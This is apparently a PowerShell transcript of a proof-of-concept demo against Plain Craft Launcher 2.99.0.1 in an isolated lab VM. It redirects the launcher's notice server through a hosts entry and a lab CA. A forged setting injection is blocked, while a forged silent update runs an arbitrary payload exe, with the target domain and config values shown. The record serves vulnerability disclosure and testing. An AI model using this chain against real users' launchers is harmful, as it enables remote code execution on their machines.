demo-transcript.txt 6.6 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168
  1. **********************
  2. Windows PowerShell transcript start
  3. Start time: 20261025030453
  4. Username: W-\Administrator
  5. RunAs User: W-\Administrator
  6. Configuration Name:
  7. Machine: W- (Microsoft Windows NT 10.0.19044.0)
  8. Host Application: powershell.exe -NoProfile -ExecutionPolicy Bypass -File D:\pcl-test\demo.ps1
  9. Process ID: 3864
  10. PSVersion: 5.1.19041.1237
  11. PSEdition: Desktop
  12. PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.19041.1237
  13. BuildVersion: 10.0.19041.1237
  14. CLRVersion: 4.0.30319.42000
  15. WSManStackVersion: 3.0
  16. PSRemotingProtocolVersion: 2.3
  17. SerializationVersion: 1.1.0.1
  18. **********************
  19. Waiting for the desktop ...
  20. ==============================================================
  21. PCL 2.99.0.1 PoC demo | step1
  22. ==============================================================
  23. Windows 10 Enterprise LTSC 2021 - isolated lab VM. PCL 2.99.0.1 (build 415).
  24. computer : W-
  25. user : Administrator
  26. OS : Microsoft Windows 10 Enterprise LTSC
  27. display : 1920x1080 (1920x1020)
  28. network : no NIC attached
  29. ==============================================================
  30. PCL 2.99.0.1 PoC demo | step2
  31. ==============================================================
  32. Copy PCL 2.99.0.1.zip to the Desktop.
  33. C:\Users\Administrator\Desktop\PCL-2.99.0.1.zip
  34. size : 2673993 bytes
  35. sha256 : 4D239A62ED66FB9EBCF4633FD881EB098E9A7E4F296F0E414B58AA2F1F7F7830
  36. ==============================================================
  37. PCL 2.99.0.1 PoC demo | step3
  38. ==============================================================
  39. Extract the new PCL to Desktop\PCL.
  40. C:\Users\Administrator\Desktop\PCL\Plain Craft Launcher 2.exe
  41. size : 6013952 bytes
  42. sha256 : 0DB34E19D9EEB6D496D20FABE786EC16BBD36BA6B0CCDC8D29CB7E909C114397
  43. ==============================================================
  44. PCL 2.99.0.1 PoC demo | step4
  45. ==============================================================
  46. Run the PoC: forged notice server, hosts entry and a lab CA.
  47. target : pcl2-server-1253424809.file.myqcloud.com
  48. hosts : 127.0.0.1
  49. server : https://127.0.0.1:443 (PowerShell TlsListener)
  50. notice : id 11002, importantLevel 999
  51. notice.json -> actions.setup:
  52. "LaunchAdvanceRun": "C:\\Users\\Public\\pclpoc.exe"
  53. Starting the PoC and PCL ...
  54. [03:05:28] PCL: C:\Users\Administrator\Desktop\PCL\Plain Craft Launcher 2.exe
  55. [03:05:29] hosts already contains the lab entry.
  56. [03:05:29] DNS cache flushed.
  57. [03:05:29] Generating lab CA and leaf certificates ...
  58. [03:05:31] CA generated: 98D33A82388DDAB8F63D9099F63A2343E4ED6C3C
  59. [03:05:31] leaf generated: F892D85ED609589BAFDB3D82B65D69183384E994
  60. [03:05:32] payload compiled: C:\Users\Public\pclpoc.exe
  61. [03:05:35] PoC server listening on https://127.0.0.1:443 (mode=launch)
  62. [03:05:35] Starting PCL ...
  63. [03:05:36] PCL PID 2500
  64. >>> In PCL, click "Start Game" (a working Minecraft instance is required).
  65. >>> This is what runs the LaunchAdvanceRun payload.
  66. [03:05:36] Waiting up to 40 seconds for C:\Users\ADMINI~1\AppData\Local\Temp\pcl-poc-marker.txt ...
  67. [-] No marker file was produced.
  68. PCL log: C:\Users\Administrator\Desktop\PCL\PCL\Log*.txt
  69. server log: C:\PCLPoC\backup\server.out.log
  70. [03:05:57] Cleanup ...
  71. [03:05:57] CA removed.
  72. [03:05:57] leaf certificate removed.
  73. [03:05:58] hosts restored.
  74. [03:05:58] PCL registry restored.
  75. [03:05:58] Done.
  76. --- Method 1 result ---
  77. no marker: LaunchAdvanceRun was not executed.
  78. PCL log: C:\Users\Administrator\Desktop\PCL\PCL\Log1.txt
  79. 62: 03:05:49.865 E <22 · L/PCL 配置更新> [ModSecret] 执行 PCL 服务器公告动作失败(setup, {
  80. 63: 03:05:49.865 E <22 · L/PCL 配置更新> [ModSecret] "LaunchAdvanceRun": "C:\\Users\\Public\\pclpoc.exe",
  81. 64: 03:05:49.865 E <22 · L/PCL 配置更新> [ModSecret] "LaunchAdvanceRunWait": "False"
  82. 65: 03:05:49.865 E <22 · L/PCL 配置更新> [ModSecret] }):被禁止的设置项:LaunchAdvanceRun
  83. 2.99.0.1 setup blacklist rejects LaunchAdvanceRun before saving it.
  84. ==============================================================
  85. PCL 2.99.0.1 PoC demo | step6
  86. ==============================================================
  87. Delete the entire PCL directory.
  88. C:\Users\Administrator\Desktop\PCL
  89. exists after delete: False
  90. A clean copy is extracted again for method 2.
  91. ==============================================================
  92. PCL 2.99.0.1 PoC demo | step7
  93. ==============================================================
  94. Method 2: notice.cfg + slientupdate -> silent update -> arbitrary exe.
  95. notice.cfg : 11002|0|0|0|999
  96. ServerConfig: Update.Release.DownloadUrls -> https://.../update.zip
  97. update.zip : Plain Craft Launcher 2.exe (payload)
  98. Starting the PoC and PCL ...
  99. [03:06:24] PCL: C:\Users\Administrator\Desktop\PCL\Plain Craft Launcher 2.exe
  100. [03:06:24] hosts already contains the lab entry.
  101. [03:06:24] DNS cache flushed.
  102. [03:06:24] Generating lab CA and leaf certificates ...
  103. [03:06:24] CA generated: 5905F23B030711502A1BE07211CA919E638404A5
  104. [03:06:24] leaf generated: 14654FAC23BE9D40AF14DAF305B15EE8DAB81B03
  105. [03:06:24] payload compiled: C:\Users\Public\pclpoc.exe
  106. [03:06:27] PoC server listening on https://127.0.0.1:443 (mode=update)
  107. [03:06:27] Starting PCL ...
  108. [03:06:28] PCL PID 2444
  109. [03:06:28] Waiting for the silent update to stage PCL\Plain Craft Launcher 2.exe ...
  110. [03:06:32] update payload staged.
  111. [03:06:34] Closing PCL PID 2444 ...
  112. [03:06:35] Waiting up to 60 seconds for C:\Users\ADMINI~1\AppData\Local\Temp\pcl-poc-marker.txt ...
  113. [+] SUCCESS: payload executed.
  114. 2026-10-25T03:06:35.7399399+08:00 pid=2264 args=--update 2444 Plain Craft Launcher 2.exe Plain Cra
  115. ft Launcher 2.exe False
  116. [03:06:36] Cleanup ...
  117. [03:06:36] CA removed.
  118. [03:06:36] leaf certificate removed.
  119. [03:06:36] hosts restored.
  120. [03:06:36] PCL registry restored.
  121. [03:06:36] Done.
  122. --- Method 2 result ---
  123. marker:
  124. 2026-10-25T03:06:35.7399399+08:00 pid=2264 args=--update 2444 Plain Craft Launcher 2.exe Plain Craft Launcher 2.exe False
  125. staged exe : D:\pcl-test\evidence\staging.exe (4096 bytes)
  126. sha256 : DA949D1F40D1DD40BA80C0CEEAB43278EDA92FA680A0551ACAFF0E39BC12CB6D
  127. update.zip : Plain Craft Launcher 2.exe (4096 bytes)
  128. entry sha256: DA949D1F40D1DD40BA80C0CEEAB43278EDA92FA680A0551ACAFF0E39BC12CB6D
  129. hash match : the downloaded zip entry ran.
  130. calc.exe : started (visible on the right)
  131. --- Summary ---
  132. Method 1 (setup -> LaunchAdvanceRun): BLOCKED
  133. Method 2 (slientupdate -> exe) : SUCCESS
  134. Opening RESULT.txt on the right ...
  135. **********************
  136. Windows PowerShell transcript end
  137. End time: 20261025030711
  138. **********************